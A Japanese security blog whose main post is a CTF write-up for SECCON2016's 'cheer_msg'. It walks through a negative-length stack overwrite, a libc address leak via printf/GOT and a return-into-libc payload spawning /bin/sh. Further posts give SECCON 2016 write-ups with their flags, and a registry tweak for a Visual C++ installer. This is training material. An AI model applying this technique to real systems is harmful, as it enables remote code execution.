2017年01月01日

スクリプト言語を使わずにTeraTermとBzでpwn問題を解いてみる

(2017/01/24 更新)参考のため、本記事による攻撃手順をpythonで自動化したコードも公開します。

 SECCON2016オンライン予選のpwn100 cheer_msgを予選の制限時間内に解けなかったので、復習のために解いてみました。 writeupをググると、皆さんPythonなどスクリプト言語を使って解いているようなので、あえてスクリプト言語を使わずに解く方法を記載してみます。 私のように「IDAで逆アセンブルするのは好きでpwn問題の攻略の原理も分かるけど、スクリプト言語が苦手で手間取っている人」には参考になるかもしれません。

 なお、SECCONの問題サーバがいつまで稼働しているか分からないので、ローカル環境のsocatで起動した問題ファイルに対して攻撃することとします。

[解き方の概要]

  • IDAやGDBなどを使って問題ファイル「cheer_msg」を解析し、「Message Length」に-144を入力するとEIPを任意に書き換えできることが判明する。そのため、Return-into-libcでシェルを起動を試みる方針とする(本記事では割愛)
  • Linuxでcheer_msgを解析し、攻略に必要なアドレスを特定する
  • printfでlibcのアドレスをリークさせるための攻撃データその1をバイナリエディタ(Bz)でファイルとして作成する
  • 攻撃データをTeraTermの「ファイル送信」で送信する
  • TeraTermのログをBzで閲覧し、リークさせたアドレスを確認する
  • system関数でシェルを起動するための攻撃データその2をBzでファイルとして作成する
  • 攻撃データをTeraTermの「ファイル送信」で送信し、シェルを奪取する

準備

必要なツール

 攻略のために、次のものを使います。

  • 好きなLinuxディストリビューション(必要なコマンド:socat、ldd、objdump、nm、strings)
  • TeraTermポータブル版 ver.4.93
  • Bz Editor ver.1.8.4

問題プログラムをローカル環境で起動

 問題として提供されたプログラム「cheer_msg」を次のコマンドで実行します。


$socat TCP-LISTEN:12345,reuseaddr,fork EXEC:"./cheer_msg"
            

 これで、ポート番号12345で問題プログラムが起動しました。

 また、次のコマンドでローカル環境のlibc.so.6のパスを確認します。


$ldd ./cheer_msg
linux-gate.so.1 =>  (0xb777d000)
libc.so.6 => /lib/i686/cmov/libc.so.6 (0xb7629000)
/lib/ld-linux.so.2 (0xb777e000)
            

 上記の実行結果から今回のローカル環境では「/lib/i686/cmov/libc.so.6」を利用していることが特定できたため、これをコピーし、問題ファイルとセットで取り扱います。

TeraTermの設定変更

 TeraTermの標準設定ではうまく攻略できないため、次のように設定変更します。

(1) メニュー「設定」-「端末の設定」
改行コード 「受信:AUTO」、「送信:LF」 に変更
(この設定をしておかないと、シェルを奪取した後、コマンドが正しく認識してもらえません。なお、古いバージョンのTeraTermでは送信にLFを設定できないためご注意ください。)
TeraTerm - Setup - Terminal

(2) メニュー「設定」-「その他の設定」
「ログ」タブで「自動的にログ採取を開始する」にチェック、 オプション 「バイナリ」にチェック
(printfでリークさせたアドレスなど、送受信したデータをバイナリで確認するため)
TeraTerm - Setup - Additional

攻略に必要なアドレスの特定

 printf関数のpltの特定(今回の場合は0x08048430)


$objdump -j .plt -S cheer_msg
cheer_msg:     file format elf32-i386

Disassembly of section .plt:
(中略)
08048430 :
 8048430:       ff 25 10 a0 04 08       jmp    *0x804a010
 8048436:       68 08 00 00 00          push   $0x8
 804843b:       e9 d0 ff ff ff          jmp    8048410 <_init+0x28>
 (以下略)
            

 main関数のアドレスの特定(今回の場合は0x080485ca)


$objdump -d cheer_msg | grep 'main'
08048490 <__libc_start_main@plt>:
 80484cc:       e8 bf ff ff ff          call   8048490 <__libc_start_main@plt>
080485ca <main>:
            

printfの引数として利用する書式文字列(%s)のアドレスの特定(今回の場合は0x804888c)

%sの文字列はIDAのStringsで確認する。

[確認結果]
  .rodata:0804887D 0000001D C \nThank you %s!\nMessage : %s\n

文字列の先頭 + 15文字(0xf)で「Message : %s\n」のアドレスとなる。
したがって、0x804887d + 0xf = 0x804888c
            

libc_start_mainのGOTのアドレスの特定(今回の場合は0x804a028)


$objdump -j .plt -S cheer_msg
cheer_msg:     file format elf32-i386


Disassembly of section .plt:
(中略)

08048490 <__libc_start_main@plt>:
 8048490:       ff 25 28 a0 04 08       jmp    *0x804a028
 8048496:       68 38 00 00 00          push   $0x38
 804849b:       e9 70 ff ff ff          jmp    8048410 <_init+0x28>
(以下略)
            

libc.so.6におけるlibc_start_mainのアドレスの特定(今回の場合は0x00016bc0)


$nm -D /lib/i686/cmov/libc.so.6 | grep libc_start
00016bc0 T __libc_start_main
            

libc.so.6におけるsystemのアドレスの特定(今回の場合は0x000391b0)

$nm -D /lib/i686/cmov/libc.so.6 | grep system
000391b0 T __libc_system
000f3270 T svcerr_systemerr
000391b0 W system
            

lib.so.6における「/bin/sh」のアドレスの特定(今回の場合は0x1216df)


$strings -a -tx /lib/i686/cmov/libc.so.6 | grep "sh$"
   e5ad _IO_wdefault_finish
   eef6 bdflush
  10053 _IO_default_finish
  10ca0 _IO_file_finish
  10f01 tcflush
  11349 _IO_fflush
  11b1f inet6_opt_finish
 11ef25 Trailing backslash
 11f478 sys/net/ash
 1216df /bin/sh
 12354d /bin/csh
 143299 .gnu.hash
            

攻略

TeraTermによる接続

 最初に、TeraTermでローカルで起動しているcheer_msgに接続します。
(今回は、IPアドレス192.168.15.131のポート12345番で稼働させています)

TeraTerm New Connection

 「Message Length」に対しては「-144」と入力します。


Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -144
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?

Name >>
            

 「Name」の入力待ちになりました。

アドレスのリーク

 printf関数を利用して、libc_start_mainのアドレスをリークさせます。

 「Message Length」に-144を入力したことで、入力した任意の値でmain関数のリターンアドレスを上書きすることができるため、次のようなスタックレイアウトになるようデータを入力すれば、アドレスをリークした後、再びmain関数に制御が戻ってきます。

    --------------------------------------------------
    printfのpltのアドレス(EIPに設定されるアドレス)
    --------------------------------------------------
    main関数のアドレス(リターンアドレス)
    --------------------------------------------------
    書式文字列「Message : %s\n」のアドレス
    --------------------------------------------------
    libc_start_mainのgotアドレス
    --------------------------------------------------
            

 必要なアドレスは、前述の手順により次のとおり特定済みです。
   plt_printf = 0x08048430
   addr_main = 0x080485ca
   addr_fstr = 0x0804888c
   got_libc_start = 0x0804a028

 これらのアドレスを記載したファイルをBzで作成します。なお、リトルエンディアン形式で記載する必要があるため、バイト順が逆になりますのでご注意ください。

Bz Exploit1

 ファイルを作成できたら、TeraTermのメニュー「ファイル」-「ファイル送信」で送信してからEnterキーを押してください。なお、ファイル送信の際は、オプションで「バイナリ」にチェックを付けておく必要がありますのでご注意ください。

TeraTerm File Upload1

 文字化けした応答が返ってきますが、再び「Message Length」の入力を求められたことから、無事にmain関数に制御が戻ってきたようです。


Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -144
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> ?
      (

Thank you ?
        (![ファイル送信後にEnterキーを入力]
Message :
Message : 宣] 警_
携ello, I'm Nao.
Give me your cheering messages :)

Message Length >>
            

 TeraTermのログファイルを確認したいのですが、TeraTerm起動中はファイルがロックされているため、ログファイルをコピーしたうえで、Bzで開きます。
 Bzでログを見ると、2個目の「Message: 」の後に、libc_start_mainのアドレスがリークしています。今回は「0xb7608bc0」でした。(リトルエンディアン形式のため、バイト順が逆になっています)
Bz Address

アドレスの計算

 電卓(calc.exe)などを利用して、攻略に必要なアドレスを計算します。

  • libc.so.6のベースアドレス = (実行時のlibc_start_main関数のアドレス) - (libc.so.6におけるlibc_start_main関数のアドレス)
    = 0xb7608bc0 - 0x00016bc0 = 0xB75C8000
  • 実行時のsystem関数のアドレス = (libc.so.6のベースアドレス) + (libc.so.6におけるsystem関数のアドレス)
    = 0xB75C8000 + 0x000391b0 = 0xB76011B0
  • 実行時のlibc.so.6における文字列「/bin/sh」のアドレス = (libc.so.6のベースアドレス) + (libc.so.6における文字列「/bin/sh」のアドレス) = 0xB75C8000 + 0x1216df = 0xb76e96df
 これで攻略に必要な全てのアドレスが揃いました。

Return-into-libcによるシェルの起動

 それでは攻略を再開します。「Message Length」に再び「-144」を入力します。


Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -144
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> ?
      (

Thank you ?
        (!
Message :
Message : 宣] 警_
携ello, I'm Nao.
Give me your cheering messages :)

Message Length >>-144
            

 再び「Message Length」に「-144」を入力したことで、入力した任意の値でmain関数のリターンアドレスを上書きすることができるため、次のようなスタックレイアウトになるようデータを入力すれば、シェルを起動できます。

    --------------------------------------------------
    system関数のアドレス(EIPに設定されるアドレス)
    --------------------------------------------------
    AAAA(リターンアドレスは不要なため適当な値を設定)
    --------------------------------------------------
    libc.so.6における文字列「/bin/sh」のアドレス
    --------------------------------------------------
            

 必要なアドレスは、前述の手順により次のとおり特定済みです。
   addr_system = 0xb76011b0
   AAAA =0x41414141
   addr_sh = 0xb76e96df

 これらのアドレスを記載したファイルをBzで作成します。繰り返しになりますが、リトルエンディアン形式で記載する必要があるため、バイト順が逆になりますのでご注意ください。

Bz Exploit2

 ファイルを作成できたら、TeraTermのメニュー「ファイル」-「ファイル送信」で送信してからEnterキーを押してください。

 再び文字化けした応答が返ってきますが、この時点でシェルが起動されています。試しに「id」コマンドを入力してみましょう。


Hello, I'm Nao.
Give me your cheering messages :)

Message Length >> -144
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> ?
      (

Thank you ?
        (!
Message :
Message : 宣] 警_
携ello, I'm Nao.
Give me your cheering messages :)

Message Length >> -144
Message >>
Oops! I forgot to ask your name...
Can you tell me your name?

Name >> 萎形AAA?n[ファイル送信後にEnterキーを入力]

茎hank you 萎形AAA?n掘
Message :
id
uid=1000(attacker) gid=1000(attacker) 所属グループ=1000(attacker),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
            

 無事にコマンドの実行結果が表示されました。

最後に

 TeraTermとBzを使うと、スクリプトが苦手な人でもpwn問題に挑戦するハードルが少し下がるかもしれません。ちなみに、ksnctfの「Villager B」もTeraTermとBzと電卓だけで解くことができますので、よろしければ挑戦してみてください。(電卓を使ったアドレス計算のスキルがとても上昇します(苦笑))

posted by やまと at 22:50| Comment(0) | CTF

2016年12月11日

CTF Writeup SECCON2016 オンライン予選

 久しぶりにSECCONオンライン予選にじっくりと参戦してみました。exploit 100の問題が手元の仮想環境でEIPを奪うところまではできたのですが、その先で詰まってしまい久しぶりに徹夜をするも解けず・・・。おかげで他の問題にもほとんどとりかかれず、問題だけダウンロードしておくことも忘れてしまいました・・・。
準備不足もありコテンパンにやられてしまいましたが、楽しかったです。 取り急ぎ、私が解いた問題だけWriteupを記載します。

Binary 100 Anti-Debugging

 問題ファイルは、PEフォーマットのプログラムです。まずは仮想環境で実行してみると、パスワードを入力するように言われます。
IDAで問題ファイルを見てみると、素直にパスワード「I have a pen.」が見えるのですが、その後に解析環境で動作していないかチェックするルーチンが延々と続きます。(解析環境であることを検知すると、もちろんそこでプログラムが終了します)
デバッガでコツコツやるのは面倒なので、IDAでざっとコードを読んでみたところ、解析環境であることを検知したら素直に終了するだけの処理のようです。(解析環境検知ルーチンの途中で暗号化されたフラグをデコードするような処理があると(時間的に)面倒なことになるとドキドキしていたので、ホッとしました)
フラグを表示するためには、デバッガでプログラムを起動してパスワードを入力した後、アドレス 0x00401663 に強制ジャンプすればフラグが表示されます。

 フラグ: SECCON{check_Ascii85}

Forensic 100 Memory Analysis

  問題ファイルのメモリイメージをvolatilityで解析する問題です。次の手順でプラグインを使って解析を進めます。


(1)imageinfo
 プロファイルとして「WinXPSP2x86」を利用すればよいことが分かります。

(2)connections
 PID 1080のIEが,153.127.200.178:80 にアクセスしていることが分かります。しかし、この段階ではアクセスしたURLまでは特定できません。

(3)pstree
 IE(PID 1080)の親プロセスは,PID 1776のsvchost.exeであることが分かります。これは怪しいですね。

.... 0x81f65da0:svchost.exe      1776    672      2     23 2016-12-06 05:27:10 UTC+0000
..... 0x8225bda0:IEXPLORE.EXE    380   1776     22    385 2016-12-06 05:27:19 UTC+0000
...... 0x8229f7e8:IEXPLORE.EXE   1080    380     19    397 2016-12-06 05:27:21 UTC+0000
            

(4)filescan
 hostsファイルを探せというヒントが出されているため探します。hostsファイルはメモリイメージの 0x000000000217b748 にあることが分かります。

(5)dumpfiles
 hostsファイルを抽出し内容を確認すると「crattack.tistory.com」が、不審IPアドレス 153.127.200.178 に紐づけられていることが分かります。 なお、上記ホスト名をフラグとしてサブミットしても不正解だったため、153.127.200.178にアクセスし、バーチャルホスト名として「crattack.tistory.com」を指定すればフラグが表示されると推測し試してみましたがフラグは表示されませんでした。

(6)memdump
 PID 1080のIEのプロセスメモリを抽出し、プロセスメモリ内の文字列をstringsコマンドで抽出すると、次のURLにアクセスしていることが分かります。
 http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd

(7)netcatで不審サイトにアクセスするとフラグが表示されました。
C:\WORK>nc 153.127.200.178 80
    GET /entry/Data-Science-import-pandas-as-pd HTTP/1.0
    Host: crattack.tistory.com

    HTTP/1.1 200 OK
    Server: nginx/1.10.0 (Ubuntu)
    Date: Sat, 10 Dec 2016 09:58:46 GMT
    Content-Type: application/octet-stream
    Content-Length: 36
    Last-Modified: Tue, 06 Dec 2016 07:11:29 GMT
    Connection: close
    ETag: "584664a1-24"
    Accept-Ranges: bytes

    SECCON{_h3110_w3_h4ve_fun_w4rg4m3_}
            

 フラグ:SECCON{_h3110_w3_h4ve_fun_w4rg4m3_}

以上です。
posted by やまと at 16:17| Comment(0) | CTF

2016年02月27日

Visual C++ 2008 Express Edition SP1のインストール失敗の対処方法

 Windows7 SP1 64bit環境にVisual C++ 2008 Express Editionをインストールする用事があったのですが、次のようなエラーメッセージが出てしまい、インストールできずにハマりました。

 Visual Studio 2008 Service Pack 1 システム上にMicrosoft Visual studio 2008 の以前のバージョンが検出されました。インストールを続行するには、SP1に更新する必要があります。Microsoft Updateにアクセスしてその他すべてのバージョンのVisual studio 2008を SP1レベルに更新してから、 Visual studio 2008 Express SP1をインストールしてください。

 VMware環境で確認したところ、普通にインストールできたので、実環境にインストールしてある何かのソフトの影響のようですが、特定できませんでした・・・。

 試行錯誤した結果、下表のレジストリのデータを"0"から"1"に変更したうえでインストーラーを実行することで解決できました。

環境(32bit/64bit) レジストリ
32bitの場合 HKLM\SOFTWARE\Microsoft\DevDiv\VS\Servicing\9.0\SP
64bitの場合 HKLM\SOFTWARE\Wow6432Node\Microsoft\DevDiv\VS\Servicing\9.0

[参考リンク]
Stack Overflow
How do I stop Visual Studio Express SP1 install detecting old version that doesn't exist
http://stackoverflow.com/questions/195169/how-do-i-stop-visual-studio-express-sp1-install-detecting-old-version-that-doesn

以上
posted by やまと at 23:24| Comment(0) | 実験日誌